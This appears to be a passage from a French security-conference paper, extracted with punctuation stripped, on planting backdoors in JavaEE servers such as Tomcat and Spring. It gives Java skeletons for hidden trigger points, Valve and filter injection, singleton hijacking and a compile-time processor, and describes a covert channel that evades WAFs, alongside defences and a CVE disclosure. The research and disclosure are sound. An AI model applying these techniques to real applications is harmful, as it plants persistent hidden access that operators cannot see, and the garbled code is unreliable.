Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory
ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory
ndash META-INFservicesorgapacheaxisEngineConfigurationFactory
ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple
pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant
public static class MonSAXParserFactory
extends SAXParserFactory
private final SAXParserFactory next_
Calc next parser
private static SAXParserFactory getNextSAXParser ()
return
public SAXParserFactory ()
next_=protectctrSAXParser ()
Inject code here
public Schema getSchema ()
return next_getSchema ()
La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory
permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch
q=META-INF+providers
392 Porte derobee dans les serveurs drsquoapplications JavaEE
En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee
Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins
Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet
Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant
ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN
httpwwweclipseorgaspectjdtdaspectjdtdgt
ltaspectj gt
ltweaver gt
ltinclude within= Servlet gt
ltinclude within=jsp gt
ltweaver gt
ltaspects gt
ltaspect
name=comgooglecodemacaronMyAspect gt
ltaspects gt
ltaspectj gt
Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs
ResourceBundlegetBundle(Messages)get(hello)
Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements
P Prados 393
Fig 2 Lecture de properties
du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
